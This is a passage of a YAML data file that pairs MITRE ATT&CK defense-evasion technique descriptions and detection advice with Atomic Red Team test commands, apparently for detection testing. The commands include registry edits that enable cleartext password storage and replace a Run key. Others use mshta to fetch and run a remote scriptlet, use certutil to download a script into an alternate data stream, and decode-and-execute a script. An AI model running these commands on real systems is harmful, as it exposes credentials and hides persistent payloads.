Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).
Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)
The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.
id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4
modified: '2019-06-25T12:31:56.827Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Bartosz Jerzman
- Travis Smith, Tripwire
- David Lu, Tripwire
created: '2017-05-31T21:31:23.587Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1112
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1112
- source_name: capec
external_id: CAPEC-203
url: https://capec.mitre.org/data/definitions/203.html
- source_name: Microsoft Reg
description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
url: https://technet.microsoft.com/en-us/library/cc732643.aspx
- source_name: Microsoft Reghide NOV 2006
description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved
August 9, 2018.
url: https://docs.microsoft.com/sysinternals/downloads/reghide
- source_name: TrendMicro POWELIKS AUG 2014
description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows
Registry. Retrieved August 9, 2018.'
url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
- description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect.
Retrieved August 9, 2018.
source_name: SpectorOps Hiding Reg Jul 2017
url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
- source_name: Microsoft Remote
description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved
May 1, 2015.
url: https://technet.microsoft.com/en-us/library/cc754820.aspx
- source_name: Microsoft 4657 APR 2017
description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry
value was modified. Retrieved August 9, 2018.'
url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
- description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11.
Retrieved August 10, 2018.
source_name: Microsoft RegDelNull July 2016
url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1112
atomic_tests:
- name: Modify Registry of Current User Profile - cmd
description: 'Modify the registry of the currently logged in user using reg.exe
cia cmd console
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
/t REG_DWORD /v HideFileExt /d 1 /f
'
- name: Modify Registry of Local Machine - cmd
description: |
Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when
CMD is ran as Administrative rights.
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
/t REG_EXPAND_SZ /v SecurityHealth /d {some_other_executable} /f
'
- name: Modify Registry of Another User Profile
description: 'Modify a registry key of each user profile not currently loaded
on the machine using both powershell and cmd line tools.
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: |
# here is an example of using the same method of reg load, but without the New-PSDrive cmdlet.
# Here we can load all unloaded user hives and do whatever we want in the location below (comments)
$PatternSID = 'S-1-5-21-\d+-\d+\-\d+\-\d+$'
Write-Verbose -Message 'Gathering Profile List and loading their registry hives'
# Get Username, SID, and location of ntuser.dat for all users
$ProfileList = @()
$ProfileList = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object { $_.PSChildName -match $PatternSID } |
Select @{ name = "SID"; expression = { $_.PSChildName } },
@{ name = "UserHive"; expression = { "$($_.ProfileImagePath)\ntuser.dat" } },
@{ name = "Username"; expression = { $_.ProfileImagePath -replace '^(.*[\\\/])', '' } }
# Get all user SIDs found in HKEY_USERS (ntuder.dat files that are loaded)
$LoadedHives = Get-ChildItem Registry::HKEY_USERS | ? { $_.PSChildname -match $PatternSID } | Select @{ name = "SID"; expression = { $_.PSChildName } }
$SIDObject = @()
foreach ($item in $LoadedHives)
{
$props = @{
SID = $item.SID
}
$TempSIDObject = New-Object -TypeName PSCustomObject -Property $props
$SIDObject += $TempSIDObject
}
# We need to use ($ProfileList | Measure-Object).count instead of just ($ProfileList).count because in PS V2
# if the count is less than 2 it doesn't work. :)
for ($p = 0; $p -lt ($ProfileList | Measure-Object).count; $p++)
{
for ($l = 0; $l -lt ($SIDObject | Measure-Object).count; $l++)
{
if (($ProfileList[$p].SID) -ne ($SIDObject[$l].SID))
{
$UnloadedHives += $ProfileList[$p].SID
Write-Verbose -Message "Loading Registry hives for $($ProfileList[$p].SID)"
reg load "HKU\$($ProfileList[$p].SID)" "$($ProfileList[$p].UserHive)"
Write-Verbose -Message 'Attempting to modify registry keys for each profile'
#####################################################################
reg add "HKEY_CURRENT_USER\$($ProfileList[$p].SID)\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /t REG_DWORD /v HideFileExt /d 1 /f
}
}
}
Write-Verbose 'Unloading Registry hives for all users'
# Unload ntuser.dat
### Garbage collection and closing of ntuser.dat ###
[gc]::Collect()
reg unload "HKU\$($ProfileList[$p].SID)"
- name: Modify registry to store logon credentials
description: "Sets registry key that will tell windows to store plaintext passwords
(making the system vulnerable to clear text / cleartext password dumping)
\n"
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: true
command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f
'
cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 0 /f
'
T1170:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Mshta
description: "Mshta.exe is a utility that executes Microsoft HTML Applications
(HTA). HTA files have the file extension .hta. (Citation: Wikipedia
HTML Application) HTAs are standalone applications that execute using the
same models and technologies of Internet Explorer, but outside of the browser.
(Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy
execution of malicious .hta files and Javascript or VBScript through a trusted
Windows utility. There are several examples of different types of threats
leveraging mshta.exe during initial compromise and for execution of code (Citation:
Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation:
FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis)
(Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe
through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey
may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe
can be used to bypass application whitelisting solutions that do not account
for its potential use. Since mshta.exe executes outside of the Internet Explorer's
security context, it also bypasses browser security settings. (Citation: LOLBAS
Mshta)"
x_mitre_remote_support: false
id: attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec
modified: '2019-09-11T19:22:42.194Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1170
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1170
- source_name: Wikipedia HTML Application
description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
27, 2017.
url: https://en.wikipedia.org/wiki/HTML_Application
- source_name: MSDN HTML Applications
description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
url: https://msdn.microsoft.com/library/ms536471.aspx
- source_name: Cylance Dust Storm
description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
September 19, 2017.
url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
- source_name: Red Canary HTA Abuse Part Deux
description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
Abuse, Part Deux. Retrieved October 27, 2017.
url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
- source_name: FireEye Attacks Leveraging HTA
description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
(2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
Retrieved October 27, 2017.'
url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
- source_name: Airbus Security Kovter Analysis
description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
Of Kovter Persistence. Retrieved December 5, 2017.
url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
- source_name: FireEye FIN7 April 2017
description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
LNK. Retrieved April 24, 2017.
url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
- source_name: LOLBAS Mshta
description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1170
atomic_tests:
- name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
description: 'Test execution of a remote script using mshta.exe
'
supported_platforms:
- windows
input_arguments:
file_url:
description: location of the payload
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
elevation_required: false
command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();
'
T1096:
technique:
x_mitre_data_sources:
- File monitoring
- Kernel drivers
- API monitoring
- Process command-line parameters
type: attack-pattern
name: NTFS File Attributes
description: |-
Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)
id: attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d
modified: '2019-06-25T12:17:31.157Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- NTFS partitioned hard drive
x_mitre_detection: |-
Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)
There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.
The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Red Canary
- Oddvar Moe, @oddvarmoe
created: '2017-05-31T21:31:11.147Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1096
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1096
- description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator
Design. Retrieved March 21, 2018.
source_name: SpectorOps Host-Based Jul 2017
url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
- description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved
March 21, 2018.
source_name: Microsoft NTFS File Attributes Aug 2010
url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
- description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.
source_name: Microsoft File Streams
url: http://msdn.microsoft.com/en-us/library/aa364404
- source_name: MalwareBytes ADS July 2015
description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
Retrieved March 21, 2018.
url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
- source_name: Microsoft ADS Mar 2014
description: Marlin, J. (2013, March 24). Alternate Data Streams in NTFS.
Retrieved March 21, 2018.
url: https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
- description: Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS
Extended Attributes. Retrieved June 3, 2016.
source_name: Journey into IR ZeroAccess NTFS EA
url: http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
- description: Moe, O. (2018, January 14). Putting Data in Alternate Data Streams
and How to Execute It. Retrieved June 30, 2018.
source_name: Oddvar Moe ADS1 Jan 2018
url: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
- source_name: Oddvar Moe ADS2 Apr 2018
description: Moe, O. (2018, April 11). Putting Data in Alternate Data Streams
and How to Execute It - Part 2. Retrieved June 30, 2018.
url: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- description: Pravs. (2009, May 25). What you need to know about alternate
data streams in windows? Is your Data secure? Can you restore that?. Retrieved
March 21, 2018.
source_name: Symantec ADS May 2009
url: https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore
x_mitre_defense_bypassed:
- Signature-based detection
- Host forensic analysis
- Anti-virus
identifier: T1096
atomic_tests:
- name: Alternate Data Streams (ADS)
description: |
Execute from Alternate Streams
[Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)
[Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)
supported_platforms:
- windows
input_arguments:
path:
description: Path of ADS file
type: path
default: c:\ADS\
executor:
name: command_prompt
elevation_required: true
command: |
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
T1126:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Packet capture
- Authentication logs
x_mitre_permissions_required:
- Administrator
- User
name: Network Share Connection Removal
description: |-
Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use)
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
id: attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Established network share connection to a remote system. Level of access depends
on permissions of the account used.
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
x_mitre_detection: Network share connections may be common depending on how
an network environment is used. Monitor command-line invocation of net
use commands associated with establishing and removing remote shares
over SMB, including following best practices for detection of [Windows Admin
Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems
may also be captured and decoded to look for related network share session
and file transfer activity. Windows authentication logs are also useful in
determining when authenticated network shares are established and by which
account, and can be used to correlate network share activity to other events
to investigate potentially malicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:38.350Z'
modified: '2018-10-17T00:14:20.652Z'
external_references:
- external_id: T1126
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1126
- description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
source_name: Technet Net Use
url: https://technet.microsoft.com/bb490717.aspx
x_mitre_defense_bypassed:
- Host forensic analysis
identifier: T1126
atomic_tests:
- name: Add Network Share
description: 'Add a Network Share utilizing the command_prompt
'
supported_platforms:
- windows
input_arguments:
share_name:
description: Share to add.
type: string
default: "\\\\test\\share"
executor:
name: command_prompt
elevation_required: false
command: |
net use c: #{share_name}
net share test=#{share_name} /REMARK:"test share" /CACHE:No
- name: Remove Network Share
description: 'Removes a Network Share utilizing the command_prompt
'
supported_platforms:
- windows
input_arguments:
share_name:
description: Share to remove.
type: string
default: "\\\\test\\share"
executor:
name: command_prompt
elevation_required: false
command: 'net share #{share_name} /delete
'
- name: Remove Network Share PowerShell
description: 'Removes a Network Share utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
share_name:
description: Share to remove.
type: string
default: "\\\\test\\share"
executor:
name: powershell
elevation_required: false
command: |
Remove-SmbShare -Name #{share_name}
Remove-FileShare -Name #{share_name}
T1027:
technique:
x_mitre_data_sources:
- Network protocol analysis
- Process use of network
- File monitoring
- Malware reverse engineering
- Binary file metadata
- Process command-line parameters
- Environment variable
- Process monitoring
- Windows event logs
- Network intrusion detection system
- Email gateway
- SSL/TLS inspection
name: Obfuscated Files or Information
description: |-
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)
Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)
Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)
id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a
modified: '2019-06-25T12:14:59.189Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).
Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)
Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Red Canary
- Christiaan Beek, @ChristiaanBeek
created: '2017-05-31T21:30:32.662Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1027
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1027
- source_name: capec
external_id: CAPEC-267
url: https://capec.mitre.org/data/definitions/267.html
- source_name: Volexity PowerDuke November 2016
description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
11, 2017.'
url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
- description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache
backdoor being used in the wild to serve Blackhole. Retrieved September
10, 2017.'
source_name: Linux/Cdorked.A We Live Security Analysis
url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
- source_name: Carbon Black Obfuscation Sept 2016
description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
February 12, 2018.
url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
- description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
12, 2018.'
source_name: FireEye Obfuscation June 2017
url: https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
- source_name: FireEye Revoke-Obfuscation July 2017
description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation:
PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.'
url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
- source_name: PaloAlto EncodedCommand March 2017
description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand
PowerShell Attacks. Retrieved February 12, 2018.
url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
- source_name: Wikipedia Duqu
description: Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
url: https://en.wikipedia.org/wiki/Duqu
- description: Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious
Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
source_name: McAfee Malicious Doc Targets Pyeongchang Olympics
url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
- source_name: GitHub Revoke-Obfuscation
description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February
12, 2018.
url: https://github.com/danielbohannon/Revoke-Obfuscation
- source_name: GitHub Office-Crackros Aug 2016
description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February
12, 2018.
url: https://github.com/itsreallynick/office-crackros
x_mitre_defense_bypassed:
- Host forensic analysis
- Signature-based detection
- Host intrusion prevention systems
- Application whitelisting
- Process whitelisting
- Log analysis
- Whitelisting by file name or path
identifier: T1027
atomic_tests:
- name: Decode base64 Data into Script
description: 'Creates a base64-encoded data file and decodes it into an executable
shell script
'
supported_platforms:
- macos
- linux
executor:
name: sh
elevation_required: false
command: |-
sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat"
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
T1150:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Plist Modification
description: "Property list (plist) files contain all of the information that
macOS and OS X uses to configure applications and services. These files are
UTF-8 encoded and formatted like XML documents via a series of keys surrounded
by < >. They detail when programs should execute, file paths to the executables,
program arguments, required OS permissions, and many others. plists are located
in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist
files to point to their own code, can use them to execute their code in the
context of another user, bypass whitelisting procedures, or even use them
as a persistence mechanism. (Citation: Sofacy Komplex Trojan)"
id: attack-pattern--06780952-177c-4247-b978-79c357fb311f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-25T11:58:11.559Z'
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1150
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1150
- source_name: Sofacy Komplex Trojan
description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
